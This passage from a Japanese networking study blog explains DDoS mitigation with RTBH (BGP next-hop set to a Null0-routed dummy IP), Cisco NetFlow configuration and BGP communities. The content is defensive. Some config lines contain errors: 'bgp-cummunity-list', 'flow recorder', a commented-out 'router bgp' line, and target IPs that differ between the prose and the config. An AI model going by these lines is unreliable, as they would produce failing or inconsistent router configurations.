<p class="wp-block-paragraph"><strong>１．DoS/DDoSの発生と検知</strong><br>　攻撃者が大量のボットを使って、自社の特定サーバー（例: <code>10.1.1.50/32</code>）へ一斉攻撃を仕掛けてくる。<br>　運用者（または自動検知システム）が「<code>10.1.1.50</code> が攻撃を受けている！」と特定する<br><strong>２．トリガールータからのBGP広告<br></strong>　運用者が<span class="blue">管理用（トリガー）ルーター</span>1台から、ピアに向けてBGPで更新情報を飛ばす。<br>　<strong>広報するメッセージ：</strong><br>　　・宛先（Prefix）：<code>10.1.1.50/32</code><br>　　・ネクストホップ（NEXT_HOP）：<code>192.0.2.1</code>（共通のダミーIP）</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#攻撃対象（203.0.113.50）宛てのネクストホップをダミーIP（192.0.2.1）にするスタティックルートを設定
ip route 203.0.113.50 255.255.255.255 192.0.2.1

#1. 該当のスタティックルートを引っかけるACLを作成
access-list 10 permit 203.0.113.50

#2. Route-map を定義し、NEXT_HOP 属性をダミーIPに書き換える
route-map RTBH-MAP permit 10
 match ip address 10
 set ip next-hop 192.0.2.1
 set community no-export        ! （任意）外部ASへ勝手に漏れないよう制限
 
#router bgp 65000
 bgp router-id 1.1.1.1
 neighbor 10.0.0.2 remote-as 65000
 #スタティックルートを Route-map を適用しながら BGP へ取り込む（再配送）
 redistribute static route-map RTBH-MAP
 
 #攻撃が収まったらルートを削除。これにより自動でwithdrawnが流れる
 no ip route 203.0.113.50 255.255.255.255 192.0.2.1" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#攻撃対象（203.0.113.50）宛てのネクストホップをダミーIP（192.0.2.1）にするスタティックルートを設定</span></span>
<span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">route</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">203.0</span><span style="color: #E6DB74">.113.50</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">255.255</span><span style="color: #E6DB74">.255.255</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">192.0</span><span style="color: #E6DB74">.2.1</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#1. 該当のスタティックルートを引っかけるACLを作成</span></span>
<span class="line"><span style="color: #A6E22E">access-list</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">203.0</span><span style="color: #E6DB74">.113.50</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#2. Route-map を定義し、NEXT_HOP 属性をダミーIPに書き換える</span></span>
<span class="line"><span style="color: #A6E22E">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">RTBH-MAP</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">match</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">address</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">set</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">next-hop</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">192.0</span><span style="color: #E6DB74">.2.1</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">set</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">community</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">no-export</span><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">（任意）外部ASへ勝手に漏れないよう制限</span></span>
<span class="line"><span style="color: #F8F8F2"> </span></span>
<span class="line"><span style="color: #88846F">#router bgp 65000</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">router-id</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1.1</span><span style="color: #E6DB74">.1.1</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">neighbor</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10.0</span><span style="color: #E6DB74">.0.2</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">remote-as</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">65000</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #88846F">#スタティックルートを Route-map を適用しながら BGP へ取り込む（再配送）</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">redistribute</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">static</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">RTBH-MAP</span></span>
<span class="line"><span style="color: #F8F8F2"> </span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #88846F">#攻撃が収まったらルートを削除。これにより自動でwithdrawnが流れる</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">no</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">route</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">203.0</span><span style="color: #E6DB74">.113.50</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">255.255</span><span style="color: #E6DB74">.255.255</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">192.0</span><span style="color: #E6DB74">.2.1</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>３．エッジルーターのテーブル更新</strong> <br>　BGPメッセージを受け取った各エッジルーターは、自身のBGPテーブル・ルーティングテーブルを自動更新する。<br>　<strong>書き換わったルール：</strong> 「<code>10.1.1.50</code> 宛てのパケットは、ネクストホップ <code>192.0.2.1</code> へ転送せよ」<br><strong>４．入り口での即時ブロック（再帰検索）<br></strong>　外部（インターネット）から <code>10.1.1.50</code> 宛ての攻撃パケットがエッジルーターに届く。<br>　エッジルーターの内部処理：<br>　　<strong>パケットをその場で破棄（Drop）。</strong><br>　　「宛先は <code>10.1.1.50</code> か。ネクストホップは <code>192.0.2.1</code>（ダミーIP）だな」<br>　　「<code>192.0.2.1</code> の行き先は……（事前設定を参照）……あ、Null0（ゴミ箱）だ！」</p>



<h3 class="wp-block-heading"><span id="toc29">Q.NetFlowはCisco独自？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="897" height="47" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-13.png" alt="" class="wp-image-8099" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-13.png 897w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-13-300x16.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-13-763x40.png 763w" sizes="(max-width: 897px) 100vw, 897px" /></figure>



<p class="wp-block-paragraph">Q.あれ？NetFlowってCisco独自のプロトコルじゃないの？<br>A.もともとはCisco独自だったが、RFC3954として公開・標準化され、さらにそれをベースにして完全な国際標準（IPFIX）へと発展したという経緯がある。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="configure terminal

! 1. Exporter（データの送信先・送信元を指定）
flow exporter EXPORTER-1
 destination 192.168.1.100            ! コレクター（分析サーバー）のIP
 source GigabitEthernet0/0            ! ルーター自身の送信元インターフェース
 transport udp 2055                   ! （任意）UDPポート番号指定（デフォルト2055）

! 2. Record（どんな情報を収集・集計するかを定義）
flow record RECORD-1
 match ipv4 source-address            ! 検索キー：送信元IP
 match ipv4 destination-address       ! 検索キー：宛先IP
 match ipv4 protocol                  ! 検索キー：プロトコル（TCP/UDP等）
 match transport source-port          ! 検索キー：送信元ポート
 match transport destination-port     ! 検索キー：宛先ポート
 collect counter packets              ! 付加情報：パケット数
 collect counter bytes                ! 付加情報：バイト数

! 3. Monitor（Record と Exporter を紐付け）
flow monitor MONITOR-1
 record RECORD-1
 exporter EXPORTER-1

! 4. インターフェースへの適用
interface GigabitEthernet0/0
 ip flow monitor MONITOR-1 input      ! イングレス（流入）トラフィックの監視
 ip flow monitor MONITOR-1 output     ! エグレス（流出）トラフィックの監視
 
#旧バージョン
ip flow ingress（旧：ip route-cache flow と同じ意味。入ってくる通信を計測）
ip flow egress

#確認コマンド
!ルーターが現在リアルタイムで収集・集計しているフロー情報（キャッシュ）を表示します。
show flow monitor &lt;モニター名&gt; cache

!ルーターが現在リアルタイムで収集・集計しているフロー情報（キャッシュ）を見やすく表示します。
show flow monitor &lt;モニター名&gt; cache format table

!どのインターフェースにどの Monitor が適用されているかの確認。
show flow interface [インターフェース名]" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #A6E22E">configure</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">terminal</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">!</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">1.</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Exporter（データの送信先・送信元を指定）</span></span>
<span class="line"><span style="color: #A6E22E">flow</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">exporter</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">EXPORTER-1</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">destination</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">192.168</span><span style="color: #E6DB74">.1.100</span><span style="color: #F8F8F2">            </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">コレクター（分析サーバー）のIP</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">source</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">GigabitEthernet0/0</span><span style="color: #F8F8F2">            </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ルーター自身の送信元インターフェース</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">transport</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">udp</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2055</span><span style="color: #F8F8F2">                   </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">（任意）UDPポート番号指定（デフォルト2055）</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">!</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">2.</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Record（どんな情報を収集・集計するかを定義）</span></span>
<span class="line"><span style="color: #A6E22E">flow</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">record</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">RECORD-1</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">match</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ipv4</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">source-address</span><span style="color: #F8F8F2">            </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">検索キー：送信元IP</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">match</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ipv4</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">destination-address</span><span style="color: #F8F8F2">       </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">検索キー：宛先IP</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">match</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ipv4</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">protocol</span><span style="color: #F8F8F2">                  </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">検索キー：プロトコル（TCP/UDP等）</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">match</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">transport</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">source-port</span><span style="color: #F8F8F2">          </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">検索キー：送信元ポート</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">match</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">transport</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">destination-port</span><span style="color: #F8F8F2">     </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">検索キー：宛先ポート</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">collect</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">counter</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">packets</span><span style="color: #F8F8F2">              </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">付加情報：パケット数</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">collect</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">counter</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bytes</span><span style="color: #F8F8F2">                </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">付加情報：バイト数</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">!</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">3.</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Monitor（Record</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">と</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Exporter</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">を紐付け）</span></span>
<span class="line"><span style="color: #A6E22E">flow</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">monitor</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MONITOR-1</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">record</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">RECORD-1</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">exporter</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">EXPORTER-1</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">!</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">4.</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">インターフェースへの適用</span></span>
<span class="line"><span style="color: #A6E22E">interface</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">GigabitEthernet0/0</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">flow</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">monitor</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MONITOR-1</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">input</span><span style="color: #F8F8F2">      </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">イングレス（流入）トラフィックの監視</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">flow</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">monitor</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MONITOR-1</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">output</span><span style="color: #F8F8F2">     </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">エグレス（流出）トラフィックの監視</span></span>
<span class="line"><span style="color: #F8F8F2"> </span></span>
<span class="line"><span style="color: #88846F">#旧バージョン</span></span>
<span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">flow</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ingress（旧：ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">route-cache</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">flow</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">と同じ意味。入ってくる通信を計測）</span></span>
<span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">flow</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">egress</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#確認コマンド</span></span>
<span class="line"><span style="color: #F92672">!</span><span style="color: #A6E22E">ルーターが現在リアルタイムで収集・集計しているフロー情報（キャッシュ）を表示します。</span></span>
<span class="line"><span style="color: #A6E22E">show</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">flow</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">monitor</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">&lt;</span><span style="color: #E6DB74">モニター</span><span style="color: #F8F8F2">名</span><span style="color: #F92672">&gt;</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">cache</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">!</span><span style="color: #A6E22E">ルーターが現在リアルタイムで収集・集計しているフロー情報（キャッシュ）を見やすく表示します。</span></span>
<span class="line"><span style="color: #A6E22E">show</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">flow</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">monitor</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">&lt;</span><span style="color: #E6DB74">モニター</span><span style="color: #F8F8F2">名</span><span style="color: #F92672">&gt;</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">cache</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">format</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">table</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">!</span><span style="color: #A6E22E">どのインターフェースにどの</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Monitor</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">が適用されているかの確認。</span></span>
<span class="line"><span style="color: #A6E22E">show</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">flow</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">interface</span><span style="color: #F8F8F2"> [インターフェース名]</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc30">Q.サーバってBGPを動作できるの？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="945" height="115" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-14.png" alt="" class="wp-image-8102" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-14.png 945w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-14-300x37.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-14-764x93.png 764w" sizes="(max-width: 945px) 100vw, 945px" /></figure>



<p class="wp-block-paragraph">Q.検知サーバがBGPを～と書いてあって、「あれ？サーバがBGPを使う？どゆこと？」と感じる。。。どういうことなのか。見ていこう！<br>A.BGPは特殊なハードウェアを必要とするプロトコルではない。「TCP（ポート179）の上で制御用メッセージをやり取りする単なるソフトウェア（プログラム）」。Linuxなどの一般的なOSの上に、BGPを制御するオープンソースソフトウェア（例: FRRouting、GoBGP、BIRDなど）をインストールして起動するだけで、サーバーは立派な「BGPスピーカー（BGPを喋る機器）」に変身できる。つまり、Ciscoルーター専用のOSで行っているBGP処理と同じ処理を、通常のLinuxサーバー上のアプリとして実行しているだけ。</p>



<h3 class="wp-block-heading"><span id="toc31">Q.NetFlowコマンドにすると？&#8212;</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="925" height="91" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-15.png" alt="" class="wp-image-8104" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-15.png 925w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-15-300x30.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-15-762x75.png 762w" sizes="(max-width: 925px) 100vw, 925px" /></figure>



<p class="wp-block-paragraph">コマンドで表現すると、以下のようになる。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="flow recorder レコーダ名
 match ipv4 source-address
 match ipv4 destination-address
 match transport source-port
 match transport destination-port" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #A6E22E">flow</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">recorder</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">レコーダ名</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">match</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ipv4</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">source-address</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">match</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ipv4</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">destination-address</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">match</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">transport</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">source-port</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">match</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">transport</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">destination-port</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc32">p.7 BGPコミュニティ属性ってなに？&#8212;</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="906" height="66" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-16.png" alt="" class="wp-image-8105" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-16.png 906w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-16-300x22.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-16-755x55.png 755w" sizes="(max-width: 906px) 100vw, 906px" /></figure>



<p class="wp-block-paragraph">「BGPコミュニティ属性」を一言で表すと、BGPの経路情報にくっつける「自由なグループ分け用の付箋（メモ書き）」。ルーティングテーブルの「宛先IP」や「ネクストホップ」といった通信に必要な基本情報とは別に、運用者が自由に意味を決めてペタペタ貼れるタグのようなもの。</p>



<h4 class="wp-block-heading"><span id="toc33">▼RTBHフロー</span></h4>



<p class="wp-block-paragraph">もともとRTBH用のタグが固定で存在している」わけではなく、管理者が自分で番号を決めて（定義して）、その番号に対する処理ルール（Route-map）を事前にルーターへ設定・配布しておく</p>



<p class="wp-block-paragraph"><strong>１．【受信側】タグ（例：65000:666）の定義と一致条件の作成</strong></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="ip bgp-cummunity-list standard コミュニティ名 permit 65000:666" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp-cummunity-list</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">standard</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">コミュニティ名</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">65000</span><span style="color: #E6DB74">:666</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>2. 【受信側】タグが来たときの動作（Route-map）の定義</strong></p>



